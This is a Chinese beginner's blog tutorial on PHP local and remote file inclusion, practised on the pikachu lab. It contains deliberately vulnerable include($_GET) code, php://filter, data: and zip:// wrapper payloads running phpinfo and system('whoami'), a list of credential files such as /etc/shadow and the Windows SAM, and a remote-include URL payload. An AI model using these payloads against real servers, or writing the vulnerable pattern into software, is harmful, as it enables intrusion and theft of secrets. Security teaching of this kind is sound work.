前言

本文是初学web安全时写的,有许多地方不够严谨,逻辑上也存在问题,请见谅~

参考:https://blog.csdn.net/qq_41575340/article/details/91897245

什么是文件包含

1.文件包含漏洞概述
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

有时候由于网站功能需求,要包含的文件是一个变量,那么前端用户就可以进行选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()区别如下:

1
2
3
4
require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

例子:在小皮的根目录下放一个test.php里面写上

1
<?php include $_GET['test'];?>

在根目录下放另外一个file.php

1
<?php phpinfo();?>

构造url,把file.php作为参数传入

1
http://192.168.127.231/test.php?test=file.php

文件包含成功

image-20240912205935094

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:

分类

1.本地文件包含漏洞(LFI)

仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击者更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。

eg:pikachu靶场的fileinclusion

image-20240912214736053

文件通过一个叫$filename的变量进行包含

image-20240912214839557

但是路径限制在了include下,那么在include文件夹下创建一个test.txt文件、

1
<?php phpinfo();?>

构造urlhttp://192.168.127.231/pikachu/vul/fileinclude/fi_local.php?filename=test.txt&submit=提交查询

这样test.txt就被包含执行了

包含姿势

php伪协议

PHP伪协议是PHP自己支持的一种协议与封装协议,简单来说就是PHP定义的一种特殊访问资源的方法。

有些伪协议成功执行需要allow_url_fopen和allow_url_include的支持。

allow_url_fopen On/Off 允许或禁止打开URL文件
allow_url_include On/Off 允许或禁止引用URL文件php://input

php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行

当enctype=”multipart/form-data” 的时候 php://input 是无效的。

利用条件:

  • allow_url_include = On。
  • allow_url_fopen不做要求。

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

在利用上很多都是与包含函数结合使用,读入或者输出获取文件源码然后编码让其不执行从而输出

php://filter 的使用:

php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php

其他姿势:

1
file.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。

php://filter 伪协议组成:
read=<读链的筛选列表>
resource=<要过滤的数据流>
write=<写链的筛选列表>
php://filter/read=处理方式(base64编码,rot13等等)/resource=要读取的文件

read 对应要设置的过滤器:
常见的过滤器分字符串过滤器、转换过滤器、压缩过滤器、加密过滤器
其中convert.base64-encode ,convert.base64-decode都属于 转换过滤器

phar://

利用条件:

php版本大于等于php5.3.0

假设有个文件phpinfo.php,其内容为,打包成zip压缩包phpinfo.zip

利用:

指定绝对路径:

1
file.php?file=phar://D:/phpStudy/WWW/phpinfo.zip/phpinfo.php

也可以使用相对路径:

1
file.php?file=phar://phpinfo.zip/phpinfo.php

zip://与bzip2://与zlib://协议

zip:// 等属于压缩流的协议,通过直接压缩普通文件为zip文件,再通过zip:// 协议读取,可以直接执行php代码。压缩后的zip文件可以随意修改后缀也不影响zip://协议读取。(注意是如phpinfo.txt直接压缩为zip,而不是文件夹压缩zip)

利用条件:

  • php版本大于等于php5.3.0

姿势:

构造zip包的方法和phar相同。

但是使用zip伪协议,需要指定绝对路径同时将#编码为%23,之后填上压缩包内的文件·。

格式示例:

1
2
3
4
<?php
$a=($_GET["file"]);
include($a);
?>

压缩及协议访问格式:

压缩文件为.zip后缀
zip://绝对路径/phpinfo.zip%23phpinfo.php
压缩文件为.bz2后缀
compress.bzip2://绝对路径/phpinfo.zip/phpinfo.php
压缩文件为.gz后缀
compress.zlib://绝对路径/phpinfo.zip/phpinfo.php

data:URI schema

利用条件:

  • php版本大于等于php5.2
  • allow_url_fopen = On
  • allow_url_include = On

姿势一:

1
?file=data:text/plain,<?php phpinfo();?>

也可以执行命令:

1
?file=data:text/plain,<?php system('whoami');?>

姿势二:

1
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解码为:

1
<?php system('whoami');?>

包含session

利用条件:

1
1.session文件路径已知,且其中内容部分可控。

姿势:

php的session文件的保存路径可以在phpinfosession.save_path看到。

常见的php-session存放位置:

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

其中,session文件的格式是固定的:sess_phpsessid.而phpsessid在发送的请求的cookie字段中可以看到。

敏感文件位置

Linux:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/etc/passwd                                                                      //  账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

Win:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
c:\boot.ini                                                                      // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\Program Files\mysql\my.ini // MySQL配置

c:\Program Files\mysql\data\mysql\user.MYD // MySQL root

c:\windows\php.ini // php 配置信息

c:\windows\my.ini // MySQL 配置文件


2.远程文件包含漏洞(RFI)

如果PHP的配置选项allow_url_include、allow_url_fopen状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI)

能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

eg测试代码:

1
2
3
4
<?php
$file = @$_GET['file'];
@include($file);
?>

在远程服务器上的文件代码(test.txt)

1
2
3
<?php
phpinfo();
?>

payload:

http://127.0.0.1/file.php?file=http://192.168.1.103/test.txt